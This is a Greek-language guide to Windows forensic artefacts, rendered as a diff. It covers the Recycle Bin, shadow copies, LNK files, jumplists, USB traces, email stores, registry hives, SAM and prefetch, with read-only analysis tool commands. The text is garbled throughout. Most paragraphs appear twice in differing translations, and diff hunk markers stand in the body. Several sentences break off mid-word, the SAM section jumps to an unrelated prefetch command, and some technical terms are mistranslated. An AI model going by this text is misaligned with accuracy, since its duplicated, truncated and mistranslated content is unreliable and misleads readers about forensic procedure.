Τα αρχεία που λήφθηκαν μπορεί να περιέχουν το **ADS Zone.Identifier** που υποδεικνύει **πώς** λήφθηκε από το εσωτερικό δίκτυο, το internet κλπ. Κάποιο λογισμικό (όπως οι περιηγητές) συνήθως προσθέτουν ακόμη **περισσότερες πληροφορίες** όπως η **URL** από όπου λήφθηκε το αρχείο.
## **Αντίγραφα Ασφαλείας Αρχείων**
### Κάδος Ανακύκλωσης
Στα Vista/Win7/Win8/Win10 ο **Κάδος Ανακύκλωσης** βρίσκεται στον φάκελο **`$Recycle.bin`** στη ρίζα του δίσκου (`C:\$Recycle.bin`).\
Όταν ένα αρχείο διαγράφεται σε αυτόν τον φάκελο, δημιουργούνται 2 συγκεκριμένα αρχεία:
Όταν ένα αρχείο διαγράφεται σε αυτόν τον φάκελο δημιουργούνται 2 συγκεκριμένα αρχεία:
* `$I{id}`: Πληροφορίες αρχείου (ημερομηνία διαγραφής)
* `$I{id}`: Πληροφορίες αρχείου (ημερομηνία διαγραφής}
* `$R{id}`: Περιεχόμενο του αρχείου
![](<../../../.gitbook/assets/image (486).png>)
Έχοντας αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε το εργαλείο [**Rifiuti**](https://github.com/abelcheung/rifiuti2) για να πάρετε την αρχική διεύθυνση των διαγραμμένων αρχείων και την ημερομηνία διαγραφής τους (χρησιμοποιήστε το `rifiuti-vista.exe` για Vista Win10).
Έχοντας αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε το εργαλείο [**Rifiuti**](https://github.com/abelcheung/rifiuti2) για να λάβετε την αρχική διεύθυνση των διαγραμμένων αρχείων και την ημερομηνία διαγραφής (χρησιμοποιήστε το `rifiuti-vista.exe` για Vista Win10).
```
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
```
@ -54,13 +58,13 @@
### Αντίγραφα Σκιών Όγκου
Το Shadow Copy είναι μια τεχνολογία που περιλαμβάνεται στα Microsoft Windows και μπορεί να δημιουργήσει αντίγραφα ασφαλείας ή στιγμιότυπα αρχείων ή όγκων υπολογιστή, ακόμα και όταν αυτά χρησιμοποιούνται.
Το Shadow Copy είναι μια τεχνολογία που περιλαμβάνεται στα Microsoft Windows και μπορεί να δημιουργήσει αντίγραφα ασφαλείας ή στιγμιότυπα αρχείων ή όγκων υπολογιστή, ακόμα και όταν χρησιμοποιούνται.
Αυτά τα αντίγραφα ασφαλείας συνήθως βρίσκονται στον φάκελο `\System Volume Information` στη ρίζα του συστήματος αρχείων και το όνομά τους αποτελείται από τα **UIDs** που φαίνονται στην παρακάτω εικόνα:
Αυτά τα αντίγραφα ασφαλείας συνήθως βρίσκονται στο `\System Volume Information` από τη ρίζα του συστήματος αρχείων και το όνομά τους αποτελείται από **UIDs** που φαίνονται στην παρακάτω εικόνα:
![](<../../../.gitbook/assets/image (520).png>)
Με την επισύναψη της εικόνας ανάκτησης με το **ArsenalImageMounter**, το εργαλείο [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) μπορεί να χρησιμοποιηθεί για να επιθεωρήσει ένα αντίγραφο σκιάς και ακόμα και να **εξάγει τα αρχεία** από τα αντίγραφα ασφαλείας του αντιγράφου σκιάς.
Με την τοποθέτηση της εικόνας ανάκτησης με το **ArsenalImageMounter**, το εργαλείο [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) μπορεί να χρησιμοποιηθεί για να επιθεωρήσει ένα αντίγραφο σκιάς και ακόμα και να **εξάγει τα αρχεία** από τα αντίγραφα ασφαλείας της σκιάς.
![](<../../../.gitbook/assets/image (521).png>)
@ -74,26 +78,26 @@
Μπορείτε να βρείτε τα αρχεία αυτόματης αποθήκευσης του Office στο: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
## Στοιχεία Shell
## Στοιχεία Κελιών
Ένα στοιχείο του κελύφους είναι ένα στοιχείο που περιέχει πληροφορίες για το πώς να αποκτήσετε πρόσβαση σε ένα άλλο αρχείο.
Ένα στοιχείο κελιού είναι ένα στοιχείο που περιέχει πληροφορίες για το πώς να έχετε πρόσβαση σε ένα άλλο αρχείο.
### Πρόσφατα Έγγραφα (LNK)
Τα Windows **δημιουργούν αυτόματα** αυτές τις **συντομεύσεις** όταν ο χρήστης **ανοίγει, χρησιμοποιεί ή δημιουργεί ένα αρχείο** στα παρακάτω μέρη:
Τα Windows **δημιουργούν αυτόματα** αυτές τις **συντομεύσεις** όταν ο χρήστης **ανοίγει, χρησιμοποιεί ή δημιουργεί ένα αρχείο** σε:
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
Όταν δημιουργείται ένας φάκελος, δημιουργείται επίσης μια σύνδεση προς τον φάκελο, προς τον γονικό φάκελο και τον προγονικό φάκελο.
Όταν δημιουργείται ένας φάκελος, δημιουργείται επίσης μια σύνδεση στον φάκελο, στον γονικό φάκελο και στον προγονικό φάκελο.
Αυτά τα αυτόματα δημιουργημένα αρχεία συνδέσμων **περιέχουν πληροφορίες για την προέλευση** όπως αν είναι **αρχείο** ή **φάκελος**, **MAC** **χρόνοι** αυτού του αρχείου, **πληροφορίες όγκου** για το πού αποθηκεύεται το αρχείο και **φάκελος του αρχείου προορισμού**. Αυτές οι πληροφορίες μπορούν να είναι χρήσιμες για την ανάκτηση αυτών των αρχείων σε περίπτωση που αφαιρεθούν.
Αυτά τα αρχεία συντομεύσεων που δημιουργούνται αυτόματα περιέχουν πληροφορίες σχετικά με την προέλευση, όπως αν είναι **αρχείο** **ή** φάκελος, **χρόνοι MAC** του αρχείου αυτού, **πληροφορίες όγκου** για το πού αποθηκεύεται το αρχείο και **φάκελος του αρχείου-στόχου**. Αυτές οι πληροφορίες μπορεί να είναι χρήσιμες για την ανάκτηση αυτών των αρχείων σε περίπτωση που διαγραφούν.
Επίσης, η **ημερομηνία δημιουργίας του αρχείου συνδέσμου** είναι η πρώτη **φορά** που το αρχικό αρχείο **χρησιμοποιήθηκε** και η **ημερομηνία τροποποίησης** του αρχείου συνδέσμου είναι η **τελευταία** **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο.
Επίσης, η **ημερομηνία δημιουργίας της σύνδεσης** αρχείου είναι η πρώτη **φορά** που το αρχικό αρχείο **χρησιμοποιήθηκε** και η **ημερομηνία τροποποίησης** της σύνδεσης αρχείου είναι η **τελευταία** **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο.
Για να επιθεωρήσετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε το [**LinkParser**](http://4discovery.com/our-tools/).
Σε αυτά τα εργαλεία θα βρείτε **2 σύνολα** χρονοσημάτων:
Σε αυτό το εργαλείο θα βρείτε **2 σύνολα** χρονοσφραγίδων:
* **Πρώτο Σύνολο:**
1. FileModifiedDate
@ -104,77 +108,120 @@
2. LinkAccessDate
3. LinkCreationDate.
Το πρώτο σύνολο χρονοσημάτων αναφέρεται στα **χρονοσήματα του ίδιου του αρχείου**. Το δεύτερο σύνολο αναφέρεται στα **χρονοσήματα του συνδεδεμένου αρχείου**.
Το πρώτο σύνολο χρονοσφραγίδων αναφέρεται στις **χρονοσφραγίδες του ίδιου του αρχείου**. Το δεύτερο σύνολο αναφέρεται στις **χρονοσφραγίδες του συνδεδεμένου αρχείου**.
Μπορείτε να λάβετε τις ίδιες πληροφορίες εκτελώντας το εργαλείο γραμμής εντολών των Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
```
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
```
Σε αυτήν την περίπτωση, οι πληροφορίες θα αποθηκευτούν σε ένα αρχείο CSV.
### Jumplists
Αυτές είναι οι πρόσφατες αρχεία που υποδεικνύονται ανά εφαρμογή. Είναι η λίστα των **πρόσφατων αρχείων που χρησιμοποιήθηκαν από μια εφαρμογή** στην οποία μπορείτε να έχετε πρόσβαση σε κάθε εφαρμογή. Μπορούν να δημιουργηθούν **αυτόματα ή να είναι προσαρμοσμένα**.
Αυτά είναι τα πρόσφατα αρχεία που εμφανίζονται ανά εφαρμογή. Είναι η λίστα με τα **πρόσφατα αρχεία που χρησιμοποιήθηκαν από μια εφαρμογή** στην οποία μπορείτε να έχετε πρόσβαση. Μπορεί να δημιουργηθούν **αυτόματα ή να είναι προσαρμοσμένα**.
Οι **αυτόματα δημιουργημένες jumplists** αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Οι jumplists ονομάζονται ακολουθώντας τη μορφή `{id}.autmaticDestinations-ms` όπου το αρχικό ID είναι το ID της εφαρμογής.
Τα **jumplists** που δημιουργούνται αυτόματα αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Τα jumplists ονομάζονται με τη μορφή `{id}.autmaticDestinations-ms` όπου το αρχικό ID είναι το ID της εφαρμογής.
Οι προσαρμοσμένες jumplists αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` και δημιουργούνται από την εφαρμογή συνήθως επειδή έχει συμβεί κάτι **σημαντικό** με το αρχείο (ίσως έχει επισημανθεί ως αγαπημένο)
Τα προσαρμοσμένα jumplists αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` και δημιουργούνται από την εφαρμογή συνήθως επειδή κάτι **σημαντικό** συνέβη με το αρχείο (ίσως έχει επισημανθεί ως αγαπημένο).
Ο **χρόνος δημιουργίας** οποιασδήποτε jumplist υποδεικνύει το **πρώτο χρόνο πρόσβασης στο αρχείο** και ο **χρόνος τροποποίησης την τελευταία φορά**.
Ο **χρόνος δημιουργίας** οποιουδήποτε jumplist υποδεικνύει την **πρώτη φορά που ανακτήθηκε το αρχείο** και ο **χρόνος τροποποίησης την τελευταία φορά**.
Μπορείτε να επιθεωρήσετε τις jumplists χρησιμοποιώντας το [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
Μπορείτε να επιθεωρήσετε τα jumplists χρησιμοποιώντας το [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
![](<../../../.gitbook/assets/image (474).png>)
(_Σημειώστε ότι οι χρονοσφραγίδες που παρέχονται από το JumplistExplorer αναφέρονται στο ίδιο το αρχείο jumplist_)
(_Σημείωση ότι οι χρονικές σφραγίδες που παρέχονται από το JumplistExplorer σχετίζονται με το ίδιο το αρχείο jumplist_)
### Shellbags
[**Ακολουθήστε αυτόν τον σύνδεσμο για να μάθετε τι είναι οι shellbags.**](interesting-windows-registry-keys.md#shellbags)
[**Ακολουθήστε αυτόν τον σύνδεσμο για να μάθετε τι είναι τα shellbags.**](interesting-windows-registry-keys.md#shellbags)
## Χρήση των USB των Windows
## Χρήση USB στα Windows
Είναι δυνατό να ανιχνευθεί η χρήση μιας συσκευής USB χάρη στη δημιουργία:
Είναι δυνατό να αναγνωριστεί ότι χρησιμοποιήθηκε μια συσκευή USB χάρη στη δημιουργία:
* Φακέλου Πρόσφατων Windows
* Φακέλου Πρόσφατων Microsoft Office
* Φακέλου Windows Recent
* Φακέλου Microsoft Office Recent
* Jumplists
Σημειώστε ότι ορισμένα αρχεία LNK αντί να δείχνουν στην αρχική διαδρομή, δείχνουν στον φάκελο WPDNSE:
![](<../../../.gitbook/assets/image (476).png>)
Τα αρχεία στον φάκελο WPDNSE είναι αντίγραφα των αρχικών, οπότε δεν θα επιβιώσουν μετά από επανεκκίνηση του υπολογιστή και το GUID προέρχεται από ένα shellbag.
Τα αρχεία στον φάκελο WPDNSE είναι αντίγραφα των πρωτότυπων, οπότε δεν επιβιώνουν μετά από επανεκκίνηση του υπολογιστή και το GUID προέρχεται από ένα shellbag.
### Πληροφορίες Καταχώρισης Μητρώου
### Πληροφορίες Μητρώου
[Ελέγξτε αυτήν τη σελίδα για να μάθετε](interesting-windows-registry-keys.md#usb-information) ποια κλειδιά του μητρώου περιέχουν ενδιαφέρουσες πληροφορίες σχετικά με συνδεδεμένες συσκευές USB.
[Ελέγξτε αυτήν τη σελίδα για να μάθετε](interesting-windows-registry-keys.md#usb-information) ποια κλειδιά μητρώου περιέχουν ενδιαφέρουσες πληροφορίες σχετικά με συνδεδεμένες συσκευές USB.
### setupapi
Ελέγξτε το αρχείο `C:\Windows\inf\setupapi.dev.log` για να λάβετε τις χρονοσφραγίδες σχετικά με το πότε παρήχθη η σύνδεση USB (αναζητήστε το `Section start`).
Ελέγξτε το αρχείο `C:\Windows\inf\setupapi.dev.log` για να λάβετε τις χρονικές σφραγίδες σχετικά με πότε παράχθηκε η σύνδεση USB (αναζητήστε το `Section start`).
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
### USB Detective
[**USBDetective**](https://usbdetective.com) μπορεί να χρησιμοποιηθεί για να λάβετε πληροφορίες σχετικά με τις συσκευές USB που έχουν συνδεθεί σε μια εικόνα.
Το [**USBDetective**](https://usbdetective.com) μπορεί να χρησιμοποιηθεί για να λάβετε πληροφορίες σχετικά με τις συσκευές USB που έχουν συνδεθεί σε μια εικόνα.
![](<../../../.gitbook/assets/image (483).png>)
### Καθαρισμός Plug and Play
Η προγραμματισμένη εργασία γνωστή ως 'Καθαρισμός Plug and Play' έχει σχεδιαστεί κυρίως για την αφαίρεση παλαιών εκδόσεων οδηγών. Αντίθετα με τον καθορισμένο σκοπό της διατήρησης της τελευταίας έκδοσης του πακέτου οδηγών, διαδικτυακές πηγές υποδεικνύουν ότι στοχεύει επίσης σε οδηγούς που έχουν μείνει αδρανείς για 30 ημέρες. Ως εκ τούτου, οδηγοί για αφαιρούμενες συσκευές που δεν έχουν συνδεθεί τις τελευταίες 30 ημέρες μπορεί να διαγ
Η προγραμματισμένη εργασία γνωστή ως 'Plug and Play Cleanup' σχεδιάστηκε κυρίως για την αφαίρεση παλαιών εκδόσεων οδηγών. Αντίθετα με τον καθορισμένο σκοπό της διατήρησης της τελευταίας έκδοσης πακέτου οδηγών, διαδικτυακές πηγές υποδηλώνουν ότι στοχεύει επίσης σε οδηγούς που έχουν μείνει ανενεργοί για 30 ημέρες. Ως εκ τούτου, οδηγοί για αφαιρούμενες συσκευές που δεν έχουν συνδεθεί τις τελευταίες 30 ημέρες μπορεί να υπόκεινται σε διαγραφή.
Η εργασία βρίσκεται στην ακόλουθη διαδρομή:
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
Παρέχεται στιγμιότυπο οθόνης που απεικονίζει το περιεχόμενο της εργασίας:
![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
**Βασικά Στοιχεία και Ρυθμίσεις της Εργασίας:**
- **pnpclean.dll**: Αυτή η DLL είναι υπεύθυνη για την πραγματική διαδικασία καθαρισμού.
- **UseUnifiedSchedulingEngine**: Ορίζεται σε `TRUE`, υποδεικνύοντας τη χρήση της γενικής μηχανής προγραμματισμού εργασιών.
- **MaintenanceSettings**:
- **Περίοδος ('P1M')**: Καθοδηγεί τον Προγραμματιστή Εργασιών να ξεκινήσει την εργασία καθαρισμού μηνιαία κατά τη διάρκεια της κανονικής αυτόματης συντήρησης.
- **Προθεσμία ('P2M')**: Οδηγεί τον Προγραμματιστή Εργασιών, αν η εργασία αποτύχει για δύο συνεχόμενους μήνες, να εκτελέσει την εργασία κατά τη διάρκεια επείγουσας αυτόματης συντήρησης.
Αυτή η ρύθμιση εξασφαλίζει την τακτική συντήρηση και καθαρισμό των οδηγών, με προβλέψεις για επανάληψη της εργασίας σε περίπτωση συνεχόμενων αποτυχιών.
**Για περισσότερες πληροφορίες ελέγξτε:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
## Emails
Τα emails περιέχουν **2 ενδιαφέρουσες μερικές: Τα headers και το περιεχόμενο** του email. Στα **headers** μπορείτε να βρείτε πληροφορίες όπως:
* **Ποιος** έστειλε τα emails (διεύθυνση email, IP, διακομιστές email που έχουν ανακατευτεί στο email)
* **Πότε** αποστάλθηκε το email
Επίσης, μέσα στα headers `References` και `In-Reply-To` μπορείτε να βρείτε το ID των μηνυμάτων:
![](<../../../.gitbook/assets/image (484).png>)
### Εφαρμογή Ηλεκτρονικού Ταχυδρομείου των Windows
Αυτή η εφαρμογή αποθηκεύει τα emails σε μορφή HTML ή κειμένου. Μπορείτε να βρείτε τα emails μέσα σε υποφακέλους στον δρόμο `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Τα emails αποθηκεύονται με την επέκταση `.dat`.
Τα **μεταδεδομένα** των emails και οι **επαφές** μπορούν να βρεθούν μέσα στη **βάση δεδομένων EDB**: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
**Αλλάξτε την επέκταση** του αρχείου από `.vol` σε `.edb` και μπορείτε να χρησιμοποιήσετε το εργαλείο [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) για να το ανοίξετε. Μέσα στον πίνακα `Message` μπορείτε να δείτε τα emails.
### Microsoft Outlook
Όταν χρησιμοποιούνται διακομιστές Exchange ή πελάτες Outlook θα υπάρχουν κάποια MAPI headers:
* `Mapi-Client-Submit-Time`: Χρόνος του συστήματος όταν αποστάλθηκε το email
* `Mapi-Conversation-Index`: Αριθμός παιδιών μηνυμάτων του νήματος και χρονική σήμανση κάθε μηνύματος του νήματος
* `Mapi-Entry-ID`: Αναγνωριστικό μηνύματος.
* `Mappi-Message-Flags` και `Pr_last_Verb-Executed`: Πληροφορίες σχετικά με το MAPI client (
### Αρχεία OST του Microsoft Outlook
Ένα αρχείο **OST** δημιουργείται από το Microsoft Outlook όταν ρυθμίζεται με **IMAP** ή έναν διακομιστή **Exchange**, αποθηκεύοντας παρόμοιες πληροφορίες με ένα αρχείο PST. Αυτό το αρχείο συγχρονίζεται με τον διακομιστή, διατηρώντας δεδομένα για **τους τελευταίους 12 μήνες** με μέγιστο μέγεθος **50GB**, και βρίσκεται στον ίδιο φάκελο με το αρχείο PST. Για να δείτε ένα αρχείο OST, μπορείτε να χρησιμοποιήσετε το [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
Ένα **αρχείο OST** δημιουργείται από το Microsoft Outlook όταν ρυθμίζεται με **IMAP** ή έναν **διακομιστή Exchange**, αποθηκεύοντας παρόμοιες πληροφορίες με ένα αρχείο PST. Αυτό το αρχείο συγχρονίζεται με τον διακομιστή, διατηρώντας δεδομένα για **τους τελευταίους 12 μήνες** έως ένα **μέγιστο μέγεθος 50GB**, και βρίσκεται στον ίδιο φάκελο με το αρχείο PST. Για να δείτε ένα αρχείο OST, μπορεί να χρησιμοποιηθεί το [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
### Ανάκτηση Συνημμένων
Χαμένα συνημμένα μπορεί να ανακτηθούν από:
Τα χαμένα συνημμένα μπορεί να ανακτηθούν από:
- Για **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
- Για **IE11 και νεότερες εκδόσεις**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
- Για **IE11 και νεότερα**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
### Αρχεία MBOX του Thunderbird
@ -182,41 +229,41 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
### Μικρογραφίες Εικόνων
- **Windows XP και 8-8.1**: Η πρόσβαση σε ένα φάκελο με μικρογραφίες δημιουργεί ένα αρχείο `thumbs.db` που αποθηκεύει προεπισκοπήσεις εικόνων, ακόμα και μετά τη διαγραφή τους.
- **Windows 7/10**: Το `thumbs.db` δημιουργείται όταν προσπελαύνεται μέσω δικτύου μέσω της διαδρομής UNC.
- **Windows Vista και νεότερες εκδόσεις**: Οι προεπισκοπήσεις μικρογραφιών είναι κεντρικές στο `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` με αρχεία με το όνομα **thumbcache\_xxx.db**. Τα εργαλεία [**Thumbsviewer**](https://thumbsviewer.github.io) και [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) χρησιμοποιούνται για την προβολή αυτών των αρχείων.
- **Windows XP και 8-8.1**: Η πρόσβαση σε ένα φάκελο με μικρογραφίες δημιουργεί ένα αρχείο `thumbs.db` που αποθηκεύει προεπισκοπήσεις εικόνων, ακόμη και μετά τη διαγραφή τους.
- **Windows 7/10**: Το `thumbs.db` δημιουργείται όταν γίνεται πρόσβαση μέσω δικτύου μέσω διαδρομής UNC.
- **Windows Vista και νεότερα**: Οι προεπισκοπήσεις μικρογραφιών είναι κεντρικοποιημένες στο `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` με αρχεία με τα ονόματα **thumbcache\_xxx.db**. Τα εργαλεία [**Thumbsviewer**](https://thumbsviewer.github.io) και [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) χρησιμοποιούνται για την προβολή αυτών των αρχείων.
### Πληροφορίες Καταγραφής των Windows Registry
### Πληροφορίες Καταγραφής των Windows
Το Windows Registry, που αποθηκεύει εκτεταμένα δεδομένα δραστηριότητας του συστήματος και των χρηστών, περιέχεται σε αρχεία στις παρακάτω τοποθεσίες:
Το Μητρώο των Windows, που αποθηκεύει εκτεταμένα δεδομένα δραστηριότητας συστήματος και χρήστη, περιέχεται σε αρχεία στους φακέλους:
- `%windir%\System32\Config` για διάφορα υποκλειδιά `HKEY_LOCAL_MACHINE`.
- `%UserProfile%{User}\NTUSER.DAT` για το `HKEY_CURRENT_USER`.
- Τα Windows Vista και νεότερες εκδόσεις δημιουργούν αντίγραφα ασφαλείας των αρχείων καταγραφής του `HKEY_LOCAL_MACHINE` στο `%Windir%\System32\Config\RegBack\`.
- Επιπλέον, πληροφορίες εκτέλεσης προγραμμάτων αποθηκεύονται στο `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` από τα Windows Vista και τον διακομιστή Windows 2008 και μετά.
- `%UserProfile%{User}\NTUSER.DAT` για `HKEY_CURRENT_USER`.
- Τα Windows Vista και μεταγενέστερες εκδόσεις δημιουργούν αντίγραφα ασφαλείας των αρχείων καταγραφής `HKEY_LOCAL_MACHINE` στο `%Windir%\System32\Config\RegBack\`.
- Επιπλέον, πληροφορίες εκτέλεσης προγραμμάτων αποθηκεύονται στο `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` από τα Windows Vista και τα Windows 2008 Server και μετά.
### Εργαλεία
Ορισμένα εργαλεία είναι χρήσιμα για την ανάλυση των αρχείων καταγραφής του registry:
Κάποια εργαλεία είναι χρήσιμα για την ανάλυση των αρχείων καταγραφής:
* **Επεξεργαστής Καταγραφής**: Είναι εγκατεστημένο στα Windows. Είναι μια γραφική διεπαφή χρήστη για την περιήγηση στο Windows registry της τρέχουσας συνεδρίας.
* [**Εξερευνητής Καταγραφής**](https://ericzimmerman.github.io/#!index.md): Σας επιτρέπει να φορτώσετε το αρχείο καταγραφής και να περιηγηθείτε μέσω του με γραφική διεπαφή. Περιλαμβάνει επίσης σελιδοδείκτες που επισημαίνουν κλειδιά με ενδιαφέρουσες πληροφορίες.
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Και πάλι, διαθέτει μια γραφική διεπαφή που επιτρέπει την περιήγηση μέσω του φορτωμένου καταγραφής και περιλαμβάνει επεκτάσεις που επισημαίνουν ενδιαφέρουσες πληροφορίες μέσα στο φορτωμένο καταγραφή.
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Ένα άλλο εφαρμογή με γραφική διεπαφή που μπορεί να εξάγει τις σημαντικές πληροφορίες από το φορτωμένο καταγραφή.
* **Επεξεργαστής Μητρώου**: Είναι εγκατεστημένος στα Windows. Είναι μια γραφική διεπαφή για την περιήγηση στο Μητρώο των Windows της τρέχουσας συνεδρίας.
* [**Εξερευνητής Μητρώου**](https://ericzimmerman.github.io/#!index.md): Σας επιτρέπει να φορτώσετε το αρχείο μητρώου και να περιηγηθείτε μέσω του με μια γραφική διεπαφή. Περιλαμβάνει επίσης Σελιδοδείκτες που επισημαίνουν κλειδιά με ενδιαφέρουσες πληροφορίες.
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Και πάλι, διαθέτει μια γραφική διεπαφή που επιτρέπει την περιήγηση μέσω του φορτωμένου μητρώου και περιλαμβάνει εξαρτήματα που επισημαίνουν ενδιαφέρουσες πληροφορίες μέσα στο φορτωμένο μητρώο.
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Ένα άλλο εφαρμογή με γραφική διεπαφή ικανή να εξάγει τις σημαντικές πληροφορίες από το φορτωμένο μητρώο.
### Ανάκτηση Διαγραμμένου Στοιχείου
Όταν ένα κλειδί διαγράφεται, σημειώνεται ως τέτοιο, αλλά μέχρι να χρειαστεί ο χώρος που καταλαμβάνει, δεν θα αφαιρεθεί. Επομένως, χρησιμοποιώντας εργαλεία όπως ο **Εξερευνητής Καταγραφής**, είναι δυνατή η ανάκτηση αυτών των διαγραμμένων κλειδιών.
Όταν ένα κλειδί διαγράφεται, σημειώνεται ως τέτοιο, αλλά μέχρι να χρειαστεί ο χώρος που καταλαμβάνει δεν θα αφαιρεθεί. Συνεπώς, χρησιμοποιώντας εργαλεία όπως ο **Εξερευνητής Μητρώου** είναι δυνατή η ανάκτηση αυτών των διαγραμμένων κλειδιών.
### Χρόνος Τελευταίας Εγγραφής
### Τελευταία Ώρα Εγγραφής
Κάθε Κλειδί-Τιμή περιέχει ένα **χρονικό στιγμιότυπο** που υποδεικνύει την τελευταία φορά που τροποποιήθηκε.
Κάθε Κλειδί-Τιμή περιέχει ένα **χρονικό σήμα** που υποδεικνύει την τελευταία φορά που τροποποιήθηκε.
### SAM
Το αρχείο/hive **SAM** περιέχει τους κατακόρυφους και τους κωδικούς πρόσβασης των χρηστών του συστήματος.
Το αρχείο/κοιτώνας **SAM** περιέχει τις **κατακευές χρηστών, ομάδων και κωδικών πρόσβασης χρηστών** του συστήματος.
Στο `SAM\Domains\Account
Στο `SAM\Domains\Account\Users` μπορείτε να αποκτήσετε το όνομα χρήστη, το RID, την τελευταία σύνδεση, την τελευταία αποτυχημένη σύνδεση, το μετρητή σύνδεσης, την πολιτική κωδικού πρόσβασης και πότε δημιουργήθηκε ο λογαριασμός. Για να λάβετε τις **κατακευές** χρειάζεστε επίσης το αρχείο/κοιτώνα **SYSTEM**.
```bash
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
```
@ -224,18 +271,18 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
### Superprefetch
Το **Superprefetch** έχει τον ίδιο στόχο με το prefetch, να **φορτώνει τα προγράμματα πιο γρήγορα** προβλέποντας τι θα φορτωθεί επόμενο. Ωστόσο, δεν αντικαθιστά την υπηρεσία prefetch.\
**Superprefetch** έχει τον ίδιο στόχο με το prefetch, **φορτώνει προγράμματα γρηγορότερα** προβλέποντας τι θα φορτωθεί επόμενο. Ωστόσο, δεν αντικαθιστά την υπηρεσία prefetch.\
Αυτή η υπηρεσία θα δημιουργήσει αρχεία βάσης δεδομένων στο `C:\Windows\Prefetch\Ag*.db`.
Σε αυτές τις βάσεις δεδομένων μπορείτε να βρείτε το **όνομα** του **προγράμματος**, τον **αριθμό** των **εκτελέσεων**, τα **ανοιγμένα αρχεία**, το **επίπεδο πρόσβασης** στον **δίσκο**, την **πλήρη διαδρομή**, τα **χρονικά πλαίσια** και τις **χρονοσφραγίδες**.
Σε αυτές τις βάσεις δεδομένων μπορείτε να βρείτε το **όνομα** του **προγράμματος**, το **αριθμό** των **εκτελέσεων**, τα **αρχεία** που **άνοιξε**, το **όγκο** που **άρχισε**, την **πλήρη** **διαδρομή**, τα **χρονικά πλαίσια** και τις **σφραγίδες χρόνου**.
Μπορείτε να αποκτήσετε πρόσβαση σε αυτές τις πληροφορίες χρησιμοποιώντας το εργαλείο [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
Μπορείτε να έχετε πρόσβαση σε αυτές τις πληροφορίες χρησιμοποιώντας το εργαλείο [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
### SRUM
Το **System Resource Usage Monitor** (SRUM) **παρακολουθεί** τους **πόρους** που **καταναλώνονται από ένα διεργασία**. Εμφανίστηκε στο W8 και αποθηκεύει τα δεδομένα σε μια βάση δεδομένων ESE που βρίσκεται στο `C:\Windows\System32\sru\SRUDB.dat`.
Το **System Resource Usage Monitor** (SRUM) **παρακολουθεί** τους **πόρους** που **καταναλώνονται** από ένα διεργασία. Εμφανίστηκε στα W8 και αποθηκεύει τα δεδομένα σε μια βάση δεδομένων ESE που βρίσκεται στο `C:\Windows\System32\sru\SRUDB.dat`.
Παρέχει τις εξής πληροφορίες:
Παρέχει τις ακόλουθες πληροφορίες:
